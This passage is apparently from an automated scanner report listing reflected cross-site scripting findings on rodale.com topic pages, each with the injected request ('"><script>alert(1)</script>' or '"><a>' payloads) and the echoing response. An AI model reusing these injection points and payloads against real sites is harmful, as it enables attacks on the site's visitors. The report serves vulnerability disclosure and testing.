Expires: Thu, 10 Mar 2011 17:48:01 GMT
Date: Thu, 10 Mar 2011 17:18:01 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-pesticides3caa2"><a>3ff310e124f node node-958">
...[SNIP]...

2.778. http://www.rodale.com/topic/pesticides [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/pesticides

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a305"><script>alert(1)</script>6168daeb29 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/pesticides?9a305"><script>alert(1)</script>6168daeb29=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:01 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:02 GMT
Date: Thu, 10 Mar 2011 17:17:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32780

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/pesticides?9a305"><script>alert(1)</script>6168daeb29=1" title="Register" class="moreLink">
...[SNIP]...

2.779. http://www.rodale.com/topic/pet-care [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pet-care

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3c94"><a>791e5519115 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicd3c94"><a>791e5519115/pet-care HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:30 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:30 GMT
Date: Thu, 10 Mar 2011 17:17:31 GMT
Content-Length: 22495
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicd3c94"><a>791e5519115 topicd3c94">
...[SNIP]...

2.780. http://www.rodale.com/topic/pet-care [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pet-care

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2792a"><a>f4620caa43 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/pet-care2792a"><a>f4620caa43 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:14 GMT
Date: Thu, 10 Mar 2011 17:18:14 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-pet-care2792a"><a>f4620caa43 node node-958">
...[SNIP]...

2.781. http://www.rodale.com/topic/pet-care [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/pet-care

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac150"><script>alert(1)</script>e28eb90e238 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/pet-care?ac150"><script>alert(1)</script>e28eb90e238=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:22 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:29 GMT
Date: Thu, 10 Mar 2011 17:17:29 GMT
Content-Length: 32765
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/pet-care?ac150"><script>alert(1)</script>e28eb90e238=1" title="Register" class="moreLink">
...[SNIP]...

2.782. http://www.rodale.com/topic/phthalates [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/phthalates

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12bd4"><a>21c282f12c3 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic12bd4"><a>21c282f12c3/phthalates HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:10 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:17 GMT
Date: Thu, 10 Mar 2011 17:17:17 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic12bd4"><a>21c282f12c3 topic12bd4">
...[SNIP]...

2.783. http://www.rodale.com/topic/phthalates [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/phthalates

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e0c6"><a>d3e0a74b777 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/phthalates8e0c6"><a>d3e0a74b777 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:52 GMT
Date: Thu, 10 Mar 2011 17:17:52 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-phthalates8e0c6"><a>d3e0a74b777 node node-958">
...[SNIP]...

2.784. http://www.rodale.com/topic/phthalates [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/phthalates

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6bd7c"><script>alert(1)</script>e081ff070a8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/phthalates?6bd7c"><script>alert(1)</script>e081ff070a8=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:09 GMT
Date: Thu, 10 Mar 2011 17:17:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32882

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/phthalates?6bd7c"><script>alert(1)</script>e081ff070a8=1" title="Register" class="moreLink">
...[SNIP]...

2.785. http://www.rodale.com/topic/policy-watch [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/policy-watch

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 70477"><a>3db8d6add76 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic70477"><a>3db8d6add76/policy-watch HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:26 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:32 GMT
Date: Thu, 10 Mar 2011 17:17:32 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic70477"><a>3db8d6add76 topic70477">
...[SNIP]...

2.786. http://www.rodale.com/topic/policy-watch [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/policy-watch

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84177"><a>f7975f0514f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/policy-watch84177"><a>f7975f0514f HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:28 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:48:28 GMT
Date: Thu, 10 Mar 2011 17:18:28 GMT
Content-Length: 22486
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-policy-watch84177"><a>f7975f0514f node node-958">
...[SNIP]...

2.787. http://www.rodale.com/topic/policy-watch [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/policy-watch

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fac16"><script>alert(1)</script>f0b9f0dbf7e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/policy-watch?fac16"><script>alert(1)</script>f0b9f0dbf7e=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:18 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:25 GMT
Date: Thu, 10 Mar 2011 17:17:25 GMT
Content-Length: 32731
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/policy-watch?fac16"><script>alert(1)</script>f0b9f0dbf7e=1" title="Register" class="moreLink">
...[SNIP]...

2.788. http://www.rodale.com/topic/positive-psychology [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/positive-psychology

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8ce91"><a>adfc48333 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8ce91"><a>adfc48333/positive-psychology HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:11 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:12 GMT
Date: Thu, 10 Mar 2011 17:17:13 GMT
Content-Length: 22520
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8ce91"><a>adfc48333 topic8ce91">
...[SNIP]...

2.789. http://www.rodale.com/topic/positive-psychology [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/positive-psychology

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b9f3"><a>c1cd23baa9c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/positive-psychology2b9f3"><a>c1cd23baa9c HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:42 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:44 GMT
Date: Thu, 10 Mar 2011 17:17:44 GMT
Content-Length: 22507
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-positive-psychology2b9f3"><a>c1cd23baa9c node node-958">
...[SNIP]...

2.790. http://www.rodale.com/topic/positive-psychology [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/positive-psychology

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d1c5"><script>alert(1)</script>9c52ba34634 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/positive-psychology?9d1c5"><script>alert(1)</script>9c52ba34634=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:10 GMT
Date: Thu, 10 Mar 2011 17:17:10 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33098

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/positive-psychology?9d1c5"><script>alert(1)</script>9c52ba34634=1" title="Register" class="moreLink">
...[SNIP]...

2.791. http://www.rodale.com/topic/posture [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/posture

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f2f1"><a>a7127441d4f was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic8f2f1"><a>a7127441d4f/posture HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:23 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:25 GMT
Date: Thu, 10 Mar 2011 17:17:25 GMT
Content-Length: 22492
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic8f2f1"><a>a7127441d4f topic8f2f1">
...[SNIP]...

2.792. http://www.rodale.com/topic/posture [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/posture

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7707"><a>af40366c098 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/postured7707"><a>af40366c098 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:18:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:48:07 GMT
Date: Thu, 10 Mar 2011 17:18:08 GMT
Content-Length: 22471
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-postured7707"><a>af40366c098 node node-958">
...[SNIP]...

2.793. http://www.rodale.com/topic/posture [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/posture

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a4f19"><script>alert(1)</script>2e6d799598b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/posture?a4f19"><script>alert(1)</script>2e6d799598b=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:20 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:47:22 GMT
Date: Thu, 10 Mar 2011 17:17:23 GMT
Content-Length: 29353
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/posture?a4f19"><script>alert(1)</script>2e6d799598b=1" title="Register" class="moreLink">
...[SNIP]...

2.794. http://www.rodale.com/topic/pregnancy-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pregnancy-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aa537"><a>2df41993a21 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicaa537"><a>2df41993a21/pregnancy-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:17:14 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:47:14 GMT
Date: Thu, 10 Mar 2011 17:17:14 GMT
Content-Length: 22504
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicaa537"><a>2df41993a21 topicaa537">
...[SNIP]...

2.795. http://www.rodale.com/topic/pregnancy-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/pregnancy-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acc93"><a>e45725410ac was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/pregnancy-0acc93"><a>e45725410ac HTTP/1.1
